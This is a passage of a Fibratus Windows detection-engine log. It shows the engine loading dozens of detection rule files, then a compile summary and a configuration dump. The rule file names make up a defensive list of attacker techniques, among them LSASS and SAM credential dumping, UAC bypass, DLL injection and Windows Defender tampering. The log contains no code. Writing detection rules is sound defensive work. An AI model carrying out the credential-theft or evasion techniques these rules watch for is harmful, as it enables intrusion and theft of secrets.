C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T13:29:37+01:00 level=info msg=bootstrapping with pid 3828. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:29:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html use-template=>true to=>[] port=>25] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ min-buffers=>16 enable-thread=>true enable-handle=>false enable-threadpool=>false enable-registry=>true enable-dns=>false flush-interval=>1s stack-enrichment=>true enable-fileio=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-audit-api=>true max-buffers=>36 enable-image=>true enable-vamap=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 log-stdout=>true formatter=>text max-size=>100 level=>info] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s trace-log=>false healthcheck=>true healthcheck-timeout=>5s sniff=>false servers=>[http://127.0.0.1:9200] timeout=>5s gzip-compression=>false enabled=>false bulk-workers=>1 template-name=>fibratus index-name=>fibratus flush-period=>1s] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ tls-insecure-skip-verify=>false method=>POST enabled=>false endpoints=>[] timeout=>5s serializer=>json enable-gzip=>false] amqp=>[ durable=>false exchange=>fibratus tls-insecure-skip-verify=>false enabled=>false passive=>false delivery-mode=>transient routing-key=>fibratus vhost=>/ timeout=>5s url=>amqp://localhost:5672 exchange-type=>topic] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false fastscan=>true excluded-procs=>[] skip-allocs=>false skip-files=>false skip-mmaps=>false scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:29:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:29:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:30:27+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:30:27+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:30:28+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:30:31+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:30:31+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T13:30:31+01:00 level=info msg=bootstrapping with pid 9208. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:30:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-fileio=>true enable-image=>true enable-dns=>false flush-interval=>1s stack-enrichment=>true enable-mem=>false enable-registry=>true enable-vamap=>true enable-handle=>false min-buffers=>16 enable-net=>true buffer-size=>512 enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-thread=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 formatter=>text log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ timeout=>5s flush-period=>1s enabled=>false template-name=>fibratus index-name=>fibratus sniff=>false healthcheck-timeout=>5s healthcheck=>true healthcheck-interval=>10s bulk-workers=>1 gzip-compression=>false trace-log=>false servers=>[http://127.0.0.1:9200]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] amqp=>[ url=>amqp://localhost:5672 exchange=>fibratus passive=>false routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient enabled=>false timeout=>5s vhost=>/ exchange-type=>topic durable=>false] http=>[ tls-insecure-skip-verify=>false serializer=>json method=>POST timeout=>5s enabled=>false enable-gzip=>false endpoints=>[]]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s enabled=>false fastscan=>true 